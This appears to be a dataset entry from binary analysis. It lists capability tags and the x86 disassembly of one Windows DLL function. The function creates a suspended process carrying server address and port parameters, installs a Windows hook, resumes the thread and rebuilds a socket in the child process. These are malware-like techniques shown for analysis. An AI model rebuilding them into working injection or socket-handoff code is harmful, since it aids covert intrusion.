Function at 0x10005f00
Capabilities:
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x10005f1e
inc ebx
push edi
je 0x10005f77
pop eax
mov byte [ebp - 0x1cc], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x1cb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [0x10015014], 4
je 0x10005f54
lea eax, [ebp - 0x1cc]
push eax
call fcn.10005e70
add esp, 4
test eax, eax
jne 0x10005f69
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100061e0
add esp, 8
jmp 0x100061cb
mov dword [ebp - 0x48], 0x44
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1e0], 0
xor eax, eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str.mythreadid_d_myserveraddr_s_myserverport_d
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x1e0]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10006002
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.100061e0
add esp, 8
jmp 0x100061cb
push 0
mov ecx, dword [0x10014884]
push ecx
push 0x10005ec0
push 9
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x10016018], eax
cmp dword [0x10016018], 0
jne 0x1000604a
push 0
mov edx, dword [ebp - 0x1e0]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.100061e0
add esp, 8
jmp 0x100061cb
mov edx, dword [ebp - 0x1dc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x1fc], 0
mov ecx, 6
xor eax, eax
lea edi, [ebp - 0x1f8]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x370], 0
mov ecx, 0x5c
xor eax, eax
lea edi, [ebp - 0x36c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0xcc], 0
lea eax, [ebp - 0x370]
mov dword [ebp - 4], eax
mov dword [ebp - 0x1d0], 0
push 0
push 0x7530
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0
push 0
lea ecx, [ebp - 0x1fc]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x100061c9
cmp dword [ebp - 0x1f8], 0x5b7
jne 0x1000614f
cmp dword [ebp - 0x1f4], 1
jne 0x1000612d
push 1
push 0
lea edx, [ebp - 0x370]
push edx
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0xffffffff
je 0x10006118
mov eax, dword [ebp - 0x374]
jmp 0x100061cb
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.100061e0
add esp, 8
jmp 0x100061cb
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xcc]
mov al, byte [ebp - 0x1f0]
mov byte [edx], al
mov ecx, dword [ebp - 0xcc]
add ecx, 1
mov dword [ebp - 0xcc], ecx
jmp 0x100061c4
cmp dword [ebp - 0x1f8], 0x5ba
jne 0x10006174
mov edx, dword [0x10016018]
push edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [ebp - 0x1d0], 1
jmp 0x100061c4
cmp dword [ebp - 0x1f8], 0x5b8
jne 0x10006182
jmp 0x100061c9
cmp dword [ebp - 0x1f8], 0x113
jne 0x100061c4
cmp dword [ebp - 0x1d0], 0
jne 0x100061c4
mov eax, dword [0x10016018]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push 0
mov ecx, dword [ebp - 0x1e0]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.100061e0
add esp, 8
jmp 0x100061cb
jmp 0x100060b7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret